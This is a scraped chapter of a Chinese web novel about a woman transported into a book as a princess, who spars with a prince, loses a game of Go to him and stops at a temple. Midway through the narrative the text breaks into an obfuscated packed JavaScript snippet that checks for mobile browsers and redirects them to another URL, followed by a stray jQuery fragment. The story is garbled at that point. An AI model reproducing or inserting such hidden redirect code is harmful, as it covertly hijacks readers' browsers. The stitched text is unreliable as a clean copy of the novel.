舟云醒来已是傍晚。
她躺在一张陌生的塌上,帐篷里物件很少,只另有一张书案。环境有些陌生,但好像又有一丝熟悉,她说不上来。
难不成她又穿越了?她只记得晕倒前看见了一双眼睛。
她撑着坐了起来,不小心扯到了手臂上那道伤痕吃痛喊了声。
帐篷外的侍女掀开帘子冲了进来,伏倒在她的榻边哭着喊道:“公主你可吓死奴婢们了,都怪奴婢们没有护好公主”
舟云确定了,她还在这本书里。那这个帐篷是?还没来得及问出口,屋外传来一道冷冷的声音:“公主若是醒了,我们殿下想请公主挪步议事厅。”
打发了外面来报的侍卫,她暗自思忖着这二皇子找她干嘛。难道是逃跑被发觉了?当时他亲眼瞧见了,山匪持刀朝她身上刺来,为了躲避,她才不小心滚下山崖的。
她带着贴身的两名侍女到了帐外,被拦了下来。
“公主,我们殿下要与你单独谈。”
舟云朝身后两人摇摇头,自己进去了。
帐中已经点上了蜡烛,火光摇曳。
正前方的檀木桌,祁河慵懒的靠在太师椅上,手里把玩着匕首——等等,好像是她的那把。
找到她的人,该不会是他吧。
祁河默默开口“公主这两日受惊了,伤势恢复的如何?”
知道她有伤,还召她来见,也不搬把椅子来让她坐坐。舟云在心里默默吐槽。
“谢殿下关心,本宫身体已无大碍,静养几日就好。”
祁河突然直坐起了身子,扬了扬手上的匕首,眼里透着丝狡黠的光“公主,这群贼人出现的突然,在你马车上留下这把匕首,不过这做工倒...”
她听出了他的弦外之音,这是把她当成了一伙的,想诈她没门。
“殿下说笑了,这匕首是我母后送与我傍身的器物罢了,我时刻带在身上,是不是手下的人记错了。”
“哦”他拉长的嗓音“那就是手底下的人办事不利了,还望公主见谅。”
“无妨,早日抓到那些山匪才是。”
“公主怎知,那些人是山匪?”
“殿下,这深山之中的歹人不是山匪,难不成是海盗?”
祁河的眼神似要将她看穿,她强装镇定,果然说多错多,幸好及时反应过来了。
从她脸上看不到异样的神色,真话假话掺杂着,他也难以分辨。不过他也基本上可以确定了,这个公主不简单。
舟云不想再与他纠缠了,得想个法子脱身。
“殿下若无他事,我便先去歇息了,身上的伤还未养好。”
“等等。”
难道还有其他破绽?舟云在脑子里把事情飞速的过了一边,也想不出其他遗漏。
祁河拦在了她的面前:“公主,您的匕首落下了。”
他离的很近,能感受到他身体散发的温度,炽热的呼吸。还有那双泛着亮光的狐狸眼,一定是他。
那刚刚岂不是,被耍了。
舟云愤愤的接过,气急败坏的走了。日子还长,她手握剧本还怕斗不过他么。
夜里,偶尔能听见几只乌鸦的叫声。
舟云辗转在榻上,怎么也睡不着的。
虽然逃跑失败了,但剧情好像发生了变化。她悄悄观察了一番车队的人,没有混进陌生的面孔。而且这前朝太子的人未免也太不靠谱了,那凌冽的剑意是当真想要杀她。
再说这祁河,倒也聪明,不过可惜书里两章就下线了。不过他这条支线太过单薄了,她一时间也想不起他下线的原因。
祁河回到帐中,书案上的折子没有被她翻阅的痕迹,竟不是探子?还是藏的太深?
他召来暗卫:“墨玉你带几人原路折返,探查公主底细。”
“是,属下领命。”
他倒要看看,她能装到什么时候。
第二日天刚蒙蒙亮,侍女就催促着她梳洗了。
舟云迷迷糊糊听着她们说,这几日耽误的时间太久,现下要抓紧赶路了。昨夜她不知熬到了几时,现在眼睛一点也睁不开,任由着侍女摆弄,想着等会在马车里补会觉。
她眯着眼睛摸进了马车,选了个舒服的姿势仰躺着。感觉有些冷,手向四周摸着她的云锦被。
“公主可是在找这个”
舟云用手抓了了,柔软的舒适的触感,细密的针角,进供的蜀锦,是她的锦被不错了。
“谢了——啊!!”
舟云的觉意,顿时全无,一下子弹跳了起来,头还磕到了轿子的顶。
看着眼前的男人,像见了鬼一般。
“无事,继续赶路”男人一句话,刚要进来的侍女又退了出去。
“奴婢就在外头,公主若有吩咐可叫奴婢。”
她惊恐的看着祁河:“殿下怎会出现在我的马车里。”
他端起了手里的茶杯:“公主在祁某的护送下出此意外,祁某倍感自责,这一路山匪水匪众多,祁某还是与公主同车贴身保护的比较好,公主觉得呢?”
她有说不的权利吗,他连自己的茶具都搬到了她的马车。
穿越进这书里,她每日都要保持着公主的礼仪,束手束脚的,唯一放松的时刻,就是独自一人瘫在马车里,这最后的幸福也即将被他剥夺。
看着她脸色青一阵白一阵,祁河笃定这马车定有蹊跷。
据他观察,公主从不让人陪守在车内,餐食也是侍女送进去。他让墨玉悄悄查过,这马车并无可藏人之地。
车队的路线、时间不是固定的,而是根据每日行程,和前方路况做出调整。这群山匪能提前埋伏,必定是车队里有内应。他要亲手抓出来那个奸细。
事实上祁河猜对了。
舟云端坐着,手忍不住轻抓着桌底的裙摆。
车队的路线行程是她递出去的。
早之前她就发觉一直有人暗中盯着自己,但她还得靠那边的人袭击车队,然后出逃。晚间她会把信息藏在吃不完的餐食里,然后叮嘱侍女倒在路边喂给小动物。
这一招她自诩天衣无缝,一直未被发觉。
现在祁河在她的车上,如果不能联系上那边,她再想逃恐怕更难了。
“公主不睡了?”
他在车里,她睡的着吗。舟云暗暗翻了了白眼。
“早就听闻公主才识过人,不知在下可否有幸,与公主下局棋”祁河不知从哪掏出了一副棋盘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035369|194620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她眼睛一亮,这可是你自找的。
她穿书前,6岁学棋,9岁已经能完胜村口那群老大爷了,15岁拿到了人生第一个省级赛事的金奖。要论其他的,或许自己略逊一筹,但下棋么,你小子完了。
她决心为自己出口恶气:“猜先吧殿下。”
祁河挑了挑眉,随手抓了几颗子,没想到她当真能同意,那自己就陪她玩玩。
舟云执黑,先行。
几番对弈下来,两人下棋的速度也越来越慢了。
祁河没想到,她还真有两下子,前面挖的坑都被她做活了。
舟云心里更不好受,若不是她占了先行的便宜,估计自己撑不了这么久。
他下了最后一子;“承让了公主。”
她只剩最后一个气口了,吊着没死不透但也救不活。
突然马车停了下来。
“殿下前方来报。”
祁河离开了,她看着留下的棋局走神。
他的棋风,和爷爷的很像。
自从15岁拿下省冠后她就很少输棋,只有和家里的小老头一起下棋时,为了逗老人开心,她总会无意的放点水。再后来她进了棋社,能回家看老人的时间越来越少,同时拿到了她的第一个全国冠军。她兴致勃勃的打了电话回家,却是姑姑接的......
想起这些她的鼻子不禁泛酸。
祁河折返了回来。
“公主此地刚刚下过雨,路面泥泞,车马陷了不少,今日就先歇在前方庙里吧”
舟云吸了吸鼻子,声音带着丝哽咽的回了他。
祁河皱了皱眉,不过是输了局棋,这公主怎么还哭了。
“马车现下是走不了了,公主还需自行挪步,前方寺庙已派人打扫干净。”
这一路上诸多岔子,让他心里隐隐有种不好的预感。
舟云唤来侍女,一路搀扶着走完了那截泥泞不堪的道路。浅色的裙摆被泥渍渗成了渐变色。
这座庙从外面看着有些破败不堪,门口柱子上的红漆成块的掉落,露出里面的木头。
但屋里却被打扫的很干净,莲花宝座上供奉着地藏菩萨,面前的香炉里还燃着三束香。舟云拜了拜,毕竟在人家地盘上。
这座庙宇大概一直有人打理着,屋顶没有漏雨,地面的灰色石砖都是干的,一处还有被火烧过的痕迹,许是有人在此取暖。
还没来得及坐下休息,就听得屋外一阵吵闹。
“官爷、官爷您行行好吧!这庙本是我们几个小乞唯一的家,这连日的大雨,你们强占了这庙,岂不是要逼死我们啊大人!”
她出门就看见,老少几人被侍卫拦住了,穿着破烂的跪在寺庙外。还没来的及吭声,就听见祁河冰冷的声音:“打发点碎银子赶他们走。”
“谢官爷!谢官爷!”
看着几人在泥地蹒跚的背影,舟云心里有些难受:“去把这两片金叶子也给他们吧。”
“若你给了这金叶子,恐怕那几人不仅保不住那点碎银子,还会平白的丢了性命”
舟云身躯一阵,酥麻的感觉穿过全身。
看着眼前的餐食,她一口也吃不下去。
她想起来了。原书到这的剧情。